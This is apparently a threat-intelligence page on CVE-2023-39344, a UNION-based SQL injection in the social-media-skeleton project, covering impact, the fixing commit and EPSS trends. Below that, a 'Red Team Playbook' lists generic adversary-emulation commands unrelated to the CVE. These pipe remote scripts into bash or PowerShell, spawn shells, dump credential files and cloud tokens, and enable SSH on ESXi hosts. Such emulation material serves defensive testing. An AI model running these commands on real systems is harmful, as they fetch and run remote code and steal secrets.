CVE-2023-39344
Overview
The vulnerability is a SQL injection (CWE-89) in the social-media-skeleton project by fobybus. The root cause is improper sanitization of user-supplied input in SQL queries, allowing an attacker to inject arbitrary UNION statements. This flaw exists in the database query logic of the social media backend component, enabling manipulation of SQL commands.
Vulnerability Description
social-media-skeleton is an uncompleted social media project. A SQL injection vulnerability in the project allows UNION based injections, which indirectly leads to remote code execution. Commit 3cabdd35c3d874608883c9eaf9bf69b2014d25c1 contains a fix for this issue.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to perform arbitrary SQL queries, leading to full compromise of the database. Due to the UNION-based injection, attackers can extract sensitive information or escalate to remote code execution on the server. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:L/PR:N/UI:N), increasing the risk of remote exploitation and potential data breach or service disruption.
Solution
Users of fobybus social-media-skeleton version 1.0.0 should apply the patch included in commit 3cabdd35c3d874608883c9eaf9bf69b2014d25c1, which addresses the SQL injection vulnerability by implementing proper input sanitization and parameterized queries. Detailed patch instructions and advisory information are available at https://github.com/fobybus/social-media-skeleton/security/advisories/GHSA-857x-p6fq-mgfh. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the social media skeleton project is characterized by a SQL injection flaw that allows for UNION-based injections. This type of vulnerability arises when user input is not properly sanitized before being included in SQL queries. Attackers can exploit this weakness to manipulate the database queries executed by the application, potentially gaining unauthorized access to sensitive data or executing arbitrary commands on the server. The flaw is particularly concerning because it can lead to remote code execution, which significantly escalates the risk associated with the vulnerability. The fix implemented in commit 3cabdd35c3d874608883c9eaf9bf69b2014d25c1 addresses this issue, but the existence of the vulnerability in earlier versions poses a significant threat.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving crafted HTTP requests that include malicious SQL code. An attacker can inject SQL statements into input fields, such as login forms or search boxes, that the application processes without adequate validation. By leveraging UNION-based injections, an attacker can combine the results of multiple SELECT statements, potentially retrieving sensitive information from other tables in the database. In more advanced scenarios, this exploitation can lead to the execution of arbitrary code on the server, allowing attackers to install malware, exfiltrate data, or take control of the affected system.
The real-world impact of this vulnerability is substantial, particularly for businesses relying on the social media skeleton project for their online presence. Successful exploitation can result in data breaches, leading to the exposure of user information, financial records, or proprietary business data. Such incidents not only compromise customer trust but can also result in significant financial losses due to regulatory fines, legal liabilities, and remediation costs. Furthermore, the potential for remote code execution means that attackers could leverage the compromised system to launch further attacks against other systems within the organization or its partners, amplifying the overall risk.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious traffic. It is also crucial to ensure that input validation and parameterized queries are utilized throughout the application to prevent SQL injection attacks. Organizations should prioritize updating to the patched version of the social media skeleton project to eliminate the vulnerability and reduce the risk of exploitation.
In conclusion, the SQL injection vulnerability in the social media skeleton project presents a significant threat to organizations that utilize this software. The potential for remote code execution amplifies the risk, making it imperative for businesses to adopt robust security practices. By understanding the technical details, attack vectors, and potential impacts of this vulnerability, organizations can better prepare themselves to defend against such threats and safeguard their assets and reputation.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-39344, rising by over 30% to place it near the 90th percentile. This upward adjustment reflects a growing likelihood of exploitation attempts, despite the absence of new publicly disclosed exploits or proof-of-concept code. Our telemetry indicates that while exploitation activity remains stable without a rapid surge, the elevated EPSS suggests that threat actors may be increasingly prioritizing this vulnerability in their targeting strategies. This shift is significant for defenders as it signals a heightened risk environment, warranting closer monitoring of network traffic and application behavior related to the affected social-media-skeleton project. Consequently, the threat level associated with CVE-2023-39344 should be considered elevated from a probabilistic exploitation standpoint, underscoring the importance of maintaining vigilance even in the absence of confirmed active exploitation campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Fobybus | Social-Media-Skeleton | 1.0.0 |
cpe:2.3:a:fobybus:social-media-skeleton:1.0.0:*:*:*:*:*:*:*
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Exploits
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Threat Feed
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Red Team Playbook
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2023-39344 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
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https://github.com/fobybus/social-media-skeleton/security/advisories/GHSA-857x-p6fq-mgfh |
| github.com |
GitHub CVE
x_refsource_MISC
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https://github.com/fobybus/social-media-skeleton/commit/3cabdd35c3d874608883c9eaf9bf69b2014d25c1 |